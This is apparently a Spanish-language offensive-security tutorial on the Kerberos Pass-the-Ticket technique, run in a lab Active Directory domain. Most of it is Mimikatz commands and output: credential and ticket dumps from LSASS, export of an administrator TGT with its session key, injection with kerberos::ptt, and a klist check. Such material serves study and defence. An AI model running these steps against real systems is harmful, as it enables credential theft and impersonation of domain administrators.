2 - Pass The Ticket (PTT)
Pass The Ticket es una técnica que consiste en reutilizar un ticket Kerberos válido (TGT o TGS) para suplantar a un usuario ya autenticado, sin necesidad de conocer su contraseña ni su hash.
Para que el ataque funcione, no sólo se necesita el ticket, sino también la clave de sesión asociada a él. Sin esta clave, el ticket no puede ser utilizado correctamente porque no es posible generar los campos de autenticación requeridos en los mensajes KRB_AP_REQ
.
El ticket y la clave de sesión pueden obtenerse de varias formas:
Realizando un ataque de tipo Man-In-The-Middle (MitM), aunque esto raramente permite recuperar la clave de sesión.
Extrayendo los tickets y claves de sesión directamente desde la memoria del proceso LSASS, utilizando herramientas como Mimikatz (
sekurlsa::tickets
okerberos::ptt
). Este proceso, responsable de la gestión de credenciales y autenticaciones, almacena en memoria tickets TGT (Ticket Granting Ticket) y TGS (Ticket Granting Service), así como otros elementos sensibles. Herramientas como Mimikatz permiten extraer estos tickets en formato.kirbi
, que pueden ser inyectados posteriormente en otra sesión para suplantar la identidad de un usuario dentro del dominio, sin necesidad de conocer su contraseña.
Es más eficaz reutilizar un TGT en lugar de un TGS, ya que el TGT puede usarse para solicitar múltiples TGS hacia distintos servicios. En cambio, un TGS sólo sirve para un único servicio.
También se debe tener en cuenta que los tickets tienen una validez limitada, normalmente 10 horas por defecto, tras lo cual expiran y dejan de ser utilizables.
Ejemplo de extracción de ticket TGT implementando mimikatz
En este caso se comprometió un equipo del DC y se cargó el ejecutable de mimikatz, luego se habilitaron los privilegios de depuración para acceder a la memoria del proceso LSASS, desde donde se van a extraer y exportar los tickets Kerberos activos, en este caso el TGT de la cuenta del administrador del DC. El comando para depurar es privilege::debug
controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
Luego, con el comando sekurlsa::tickets /export
, vamos a extraer y exportar todos los tickets Kerberos almacenados en memoria (LSASS) del sistema operativo, en este caso solo voy a mostrar el ticket del administrador que es el que vamos a usar para hacer el Pass the Ticket
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 225810 (00000000:00037212)
Session : NetworkCleartext from 0
User Name : Administrator
Domain : CONTROLLER
Logon Server : CONTROLLER-1
Logon Time : 5/24/2025 3:46:27 PM
SID : S-1-5-21-432953485-3795405108-1502158860-500
* Username : Administrator
* Domain : CONTROLLER.LOCAL
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 5/24/2025 3:46:27 PM ; 5/25/2025 1:46:27 AM ; 5/31/2025 3:46:27 PM
Service Name (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
Target Name (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
Client Name (01) : Administrator ; @ CONTROLLER.LOCAL ( CONTROLLER.LOCAL )
Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
092754636d6d5cef13aabaa4909bbedaa4870ba136afcab2b226f4fe09b7812e
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
* Saved to file [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi !
Ahora podemos usar el módulo kerberos::ptt
para hacer el Pass the Ticket. Este modulo se encarga de inyectar el ticket Kerberos (.kirbi
) directamente en la memoria del proceso LSASS, permitiendo que el sistema lo utilice como si hubiese sido obtenido legítimamente por el usuario.
mimikatz # kerberos::ptt [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi
* File: '[0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi': OK
mimikatz # exit
Bye!
Este es el archivo de ticket exportado previamente con sekurlsa::tickets /export
. Contiene un TGT válido del usuario Administrator
para el dominio CONTROLLER.LOCAL
[0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi
Ahora con el comando klist desde el cmd podemos ver los tickets Kerberos activos en la sesión actual del usuario. En este caso, está mostrando un Ticket Granting Ticket (TGT) del usuario Administrator
. Vamos a desglosarlo parte por parte:
controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>klist
Current LogonId is 0:0x37212
Cached Tickets: (1)
#0> Client: Administrator @ CONTROLLER.LOCAL
Server: krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 5/24/2025 15:46:27 (local)
End Time: 5/25/2025 1:46:27 (local)
Renew Time: 5/31/2025 15:46:27 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
klist
→ Muestra todos los tickets Kerberos almacenados en caché en la sesión del usuario actual.No requiere parámetros adicionales, pero refleja:
Current LogonId
→ Identificador de sesión de inicio del sistema operativo asociado al ticket.Client
→ Usuario autenticado al que pertenece el ticket.Server
→ Servicio Kerberos que emitió el ticket (por ejemplo, krbtgt).KerbTicket Encryption Type
→ Algoritmo de cifrado usado para el ticket.Ticket Flags
→ Propiedades del ticket (por ejemplo, renovable, reenviable, autenticación previa).Start Time
→ Momento en que el ticket comenzó a ser válido.End Time
→ Expiración del ticket.Renew Time
→ Límite hasta el cual puede renovarse el ticket.Cache Flags
→ Estado del ticket dentro de la caché local.Kdc Called
→ Nombre del KDC que emitió el ticket, puede estar vacío si fue inyectado manualmente.
Last updated